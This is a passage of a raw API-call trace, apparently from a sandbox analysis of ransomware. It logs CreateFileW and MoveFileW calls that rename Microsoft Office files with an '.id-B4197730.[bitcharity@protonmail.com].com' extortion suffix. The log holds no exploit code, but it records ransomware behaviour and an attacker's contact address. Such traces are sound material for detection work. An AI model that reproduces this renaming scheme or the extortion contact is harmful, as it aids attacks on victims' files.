liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.433] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WORDREP.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\wordrep.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.433] CloseHandle (hObject=0x1278) returned 1 [0272.434] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.434] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WPULQT98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\wpulqt98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.434] CloseHandle (hObject=0x1278) returned 1 [0272.435] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.435] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WSIDBR98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\wsidbr98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.435] CloseHandle (hObject=0x1278) returned 1 [0272.439] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.439] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Resources.pri.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\resources.pri.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.439] CloseHandle (hObject=0x1278) returned 1 [0272.440] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.440] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RSWOP.ICM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rswop.icm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.441] CloseHandle (hObject=0x1278) returned 1 [0272.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Rtmcodecs.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rtmcodecs.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Rtmcodecs.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rtmcodecs.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RTMPLTFM.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rtmpltfm.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\RTMPLTFM.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\rtmpltfm.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SG.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\sg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SG.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\sg.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\STSLIST.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\stslist.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\STSLIST.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\stslist.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\tmpod.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tmpod.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\tmpod.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\tmpod.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Uc.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\uc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Uc.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\uc.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UccApi.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\uccapi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\UccApi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\uccapi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ucmp.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ucmp.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucmp.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0273.821] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.821] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SUBPROCESS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_subprocess_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.822] CloseHandle (hObject=0x1288) returned 1 [0273.823] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.823] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SUBPROCESS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_subprocess_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.823] CloseHandle (hObject=0x1288) returned 1 [0273.824] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.824] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.825] CloseHandle (hObject=0x1288) returned 1 [0273.825] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.826] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.826] CloseHandle (hObject=0x1288) returned 1 [0273.827] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.827] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basflo_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.827] CloseHandle (hObject=0x1288) returned 1 [0273.828] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.828] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basflo_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.828] CloseHandle (hObject=0x1288) returned 1 [0273.829] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.829] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basflo_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.829] CloseHandle (hObject=0x1288) returned 1 [0273.830] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.831] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basflo_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.831] CloseHandle (hObject=0x1288) returned 1 [0273.831] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.831] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICCIRCUIT_DIAGRAM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basiccircuit_diagram_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.832] CloseHandle (hObject=0x1288) returned 1 [0273.832] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.832] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICCIRCUIT_DIAGRAM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basiccircuit_diagram_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.832] CloseHandle (hObject=0x1288) returned 1 [0273.834] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.834] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICD_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basicd_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.834] CloseHandle (hObject=0x1288) returned 1 [0273.834] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.834] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICD_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basicd_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.835] CloseHandle (hObject=0x1288) returned 1 [0273.835] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.835] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICELECTRICAL_DIAGRAM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basicelectrical_diagram_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.835] CloseHandle (hObject=0x1288) returned 1 [0273.836] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.836] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICELECTRICAL_DIAGRAM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basicelectrical_diagram_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.837] CloseHandle (hObject=0x1288) returned 1 [0273.837] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.837] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_AUDITDIAGRAM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_auditdiagram_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.838] CloseHandle (hObject=0x1288) returned 1 [0273.838] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.838] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_AUDITDIAGRAM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_auditdiagram_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.838] CloseHandle (hObject=0x1288) returned 1 [0273.839] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.839] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_GANTTCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_ganttchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.839] CloseHandle (hObject=0x1288) returned 1 [0273.840] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.840] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_GANTTCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_ganttchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.840] CloseHandle (hObject=0x1288) returned 1 [0273.841] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.841] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_HOME_NETWORK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_home_network_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.841] CloseHandle (hObject=0x1288) returned 1 [0273.843] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.843] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_HOME_NETWORK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_home_network_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.844] CloseHandle (hObject=0x1288) returned 1 [0273.845] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.845] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.845] CloseHandle (hObject=0x1288) returned 1 [0273.846] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.846] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.846] CloseHandle (hObject=0x1288) returned 1 [0273.847] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.847] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_UMLSEQUENCE_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_umlsequence_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 